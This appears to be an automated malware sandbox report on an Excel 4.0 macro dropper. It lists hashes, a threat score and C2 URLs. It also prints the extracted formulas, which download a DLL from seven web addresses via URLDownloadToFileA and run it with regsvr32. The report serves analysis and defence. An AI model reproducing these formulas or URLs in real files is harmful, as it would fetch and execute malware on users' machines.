General

  • Target

    801bc508ee3e79c02718261919ef99fef9be96e469ee781638e71740fcb80b87

  • Size

    20KB

  • Sample

    241120-15mf7stgqc

  • MD5

    264085a18e691e70013e1fef23855ad4

  • SHA1

    b167b60aa513a30ba39490e357cb9b57430f9b80

  • SHA256

    801bc508ee3e79c02718261919ef99fef9be96e469ee781638e71740fcb80b87

  • SHA512

    d8b0d7af373f75a5d4b79e44b2a333841858a66c6fb315fee51879e35c5b47c14b37eefd12969380b0ddf75e4ffa0cf0240a708804a3f8b979fbe23a10767263

  • SSDEEP

    384:uHM0Vb1GNjDo4CGzPd6ZIwA1hKb5CzgObff9kC+xbX7qE7h:T0INfo4FLH2CBn9kC+xbLq+

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://canismallorca.es/wp-admin/OTyeYrx9C9BvYvVb3/

http://capslock.co.za/wp-includes/LMngUUTuanBofr5zK/

http://www.cafe-kwebbel.nl/layouts/3Wkev/

http://bkps.ac.th/b91-std63/Ixv52m8gu4aaUiyb/

http://borbajardinagem.com.br/erros/vlB3f6XpsZG/

http://www.best-design.gr/_errorpages/9wCa7GLI0cl6nM/

http://belleile-do.fr/diapo-ile/EeBHyfGoKYACY/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://canismallorca.es/wp-admin/OTyeYrx9C9BvYvVb3/","..\kytk.dll",0,0) =IF('SCWVCV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://capslock.co.za/wp-includes/LMngUUTuanBofr5zK/","..\kytk.dll",0,0)) =IF('SCWVCV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.cafe-kwebbel.nl/layouts/3Wkev/","..\kytk.dll",0,0)) =IF('SCWVCV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bkps.ac.th/b91-std63/Ixv52m8gu4aaUiyb/","..\kytk.dll",0,0)) =IF('SCWVCV'!D20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://borbajardinagem.com.br/erros/vlB3f6XpsZG/","..\kytk.dll",0,0)) =IF('SCWVCV'!D22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.best-design.gr/_errorpages/9wCa7GLI0cl6nM/","..\kytk.dll",0,0)) =IF('SCWVCV'!D24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://belleile-do.fr/diapo-ile/EeBHyfGoKYACY/","..\kytk.dll",0,0)) =IF('SCWVCV'!D26<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\kytk.dll") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://canismallorca.es/wp-admin/OTyeYrx9C9BvYvVb3/

xlm40.dropper

http://capslock.co.za/wp-includes/LMngUUTuanBofr5zK/

xlm40.dropper

http://www.cafe-kwebbel.nl/layouts/3Wkev/

xlm40.dropper

http://bkps.ac.th/b91-std63/Ixv52m8gu4aaUiyb/

xlm40.dropper

http://borbajardinagem.com.br/erros/vlB3f6XpsZG/

Targets

    • Target

      801bc508ee3e79c02718261919ef99fef9be96e469ee781638e71740fcb80b87

    • Size

      20KB

    • MD5

      264085a18e691e70013e1fef23855ad4

    • SHA1

      b167b60aa513a30ba39490e357cb9b57430f9b80

    • SHA256

      801bc508ee3e79c02718261919ef99fef9be96e469ee781638e71740fcb80b87

    • SHA512

      d8b0d7af373f75a5d4b79e44b2a333841858a66c6fb315fee51879e35c5b47c14b37eefd12969380b0ddf75e4ffa0cf0240a708804a3f8b979fbe23a10767263

    • SSDEEP

      384:uHM0Vb1GNjDo4CGzPd6ZIwA1hKb5CzgObff9kC+xbX7qE7h:T0INfo4FLH2CBn9kC+xbLq+

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks